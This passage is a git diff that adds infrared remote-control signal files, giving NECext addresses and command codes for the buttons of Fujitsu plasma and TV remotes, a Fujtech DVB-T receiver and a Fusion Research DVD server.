a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir new file mode 100644 index 000000000..08969640a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: WIDE_2 +type: parsed +protocol: NECext +address: 84 82 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir new file mode 100644 index 000000000..6e066fff7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ZOOM_2 +type: parsed +protocol: NECext +address: 84 86 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir new file mode 100644 index 000000000..e30bc7b59 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUTO +type: parsed +protocol: NECext +address: 84 88 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir new file mode 100644 index 000000000..204bded4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 00 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 01 00 00 00 +# +name: DISCRETE_ON +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 02 00 00 00 +# +name: DISCRETE_OFF +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 02 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 08 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 10 00 00 00 +# +name: WIDE_(TOGGLE) +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 10 00 00 00 +# +name: ASPECT_WIDE_(TOG) +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 10 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 11 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 11 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 12 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 12 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 12 00 00 00 +# +name: ASPECT_WIDE_1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 13 00 00 00 +# +name: WIDE_1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 13 00 00 00 +# +name: ASPECT_WIDE1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 13 00 00 00 +# +name: ASPECT_WIDE_2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 14 00 00 00 +# +name: WIDE_2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 14 00 00 00 +# +name: ASPECT_WIDE2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 14 00 00 00 +# +name: ASPECT_ZOOM_1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 15 00 00 00 +# +name: ZOOM_1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 15 00 00 00 +# +name: ASPECT_ZOOM1 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 15 00 00 00 +# +name: ASPECT_ZOOM_2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 16 00 00 00 +# +name: ZOOM_2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 16 00 00 00 +# +name: ASPECT_ZOOM2 +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: ADJ._< +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: ADJ_LEFT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 20 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: ADJ._> +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: ADJ_RIGHT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 21 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 22 00 00 00 +# +name: MENU/EXIT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 22 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: ADJ._UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: ADJ_UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 23 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: ADJ._DN. +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: ADJ_DOWN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 24 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 26 00 00 00 +# +name: CURSOR_SELECT_/ENTER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 26 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 26 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 26 00 00 00 +# +name: OFF-TIMER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 41 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 41 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 41 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 44 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 44 00 00 00 +# +name: PIC_MODE +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 44 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 48 00 00 00 +# +name: PICTURE_MEMORY +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 48 00 00 00 +# +name: PIC_MEMORY +type: parsed +protocol: NECext +address: 84 8A 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir new file mode 100644 index 000000000..3f73c5bee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 00 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 00 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 0E 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 0E 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 16 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 16 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 17 00 00 00 +# +name: INPUT_RGB +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 17 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: VIDEO_1-COMPOSITE +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: INPUT1-COMPOSITE +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: VIDEO_1_COMPOSITE +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 40 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VIDEO_2_(S) +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VIDEO_2-S_VIDEO +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: INPUT2-S-VIDEO +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VIDEO_2_S-VIDEO +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VIDEO_2_/_S-VIDEO +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 41 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: INPUT_3_-_COMPONENT1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: VIDEO_3_(BACK) +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: VIDEO_3-COMPONENT +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: INPUT3-COMPONENT1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: VIDEO_3_/_COMP_1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 42 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: INPUT_4_-_COMPONENT2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: VIDEO_4_(FRONT) +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: VIDEO_4-COMPONENT +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: INPUT4-COMPONENT2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: VIDEO_4_/_COMP_2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 43 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 44 00 00 00 +# +name: INPUT_5_-_HDMI +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 44 00 00 00 +# +name: VIDEO_5_(HDMI) +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 44 00 00 00 +# +name: VIDEO_5-HDMI +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 44 00 00 00 +# +name: INPUT5-HDMI +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 44 00 00 00 +# +name: VIDEO_5_/_HDMI +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 44 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 68 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 68 00 00 00 +# +name: RGB_1:_DVI-D +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 68 00 00 00 +# +name: RGB1:_DVI-D +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 68 00 00 00 +# +name: RGB_1_/_DVI-D +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 68 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 69 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 69 00 00 00 +# +name: RGB_2:_D-SUB15P +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 69 00 00 00 +# +name: RGB2:_D-SUB15 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 69 00 00 00 +# +name: RGB3/VIDEO4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 +# +name: RGB_3/_VIDEO_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 +# +name: RGB3/VIDEO_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 +# +name: RGB_3/VID_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 +# +name: INPUT4_-_#2 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 +# +name: RGB_3/VIDEO_4 +type: parsed +protocol: NECext +address: 84 8B 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir new file mode 100644 index 000000000..068ff6a58 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 10 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 10 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 11 00 00 00 +# +name: VOL_-- +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 11 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 11 00 00 00 +# +name: VOLUME_DN +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 8C 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir new file mode 100644 index 000000000..de38dc66e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 0C 00 00 00 +# +name: CH_RETURN +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_RETURN +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 0E 00 00 00 +# +name: MTS/STEREO +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 12 00 00 00 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 30 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 31 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 41 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 42 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 43 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 44 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 45 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 46 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 48 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 4A 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 58 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 58 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 5A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 5B 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 5C 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 84 8D 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir new file mode 100644 index 000000000..3ddfe00bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: WIDE_1 +type: parsed +protocol: NECext +address: 8C 84 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir new file mode 100644 index 000000000..20a756a8b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_-_ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: POWER_-_OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: INPUT_-_VIDEO +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: INPUT_-_RGB +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3E 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 3F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 5B 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir new file mode 100644 index 000000000..939b69f29 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_DIGITS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_KPASTERISK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_TV2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir new file mode 100644 index 000000000..c413e0dca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir new file mode 100644 index 000000000..bd6f292ba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 49 00 00 00 +# +name: POWER_-_EJECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: BLANK_BUTTON +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: DVD_MENU_/_LEFT_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 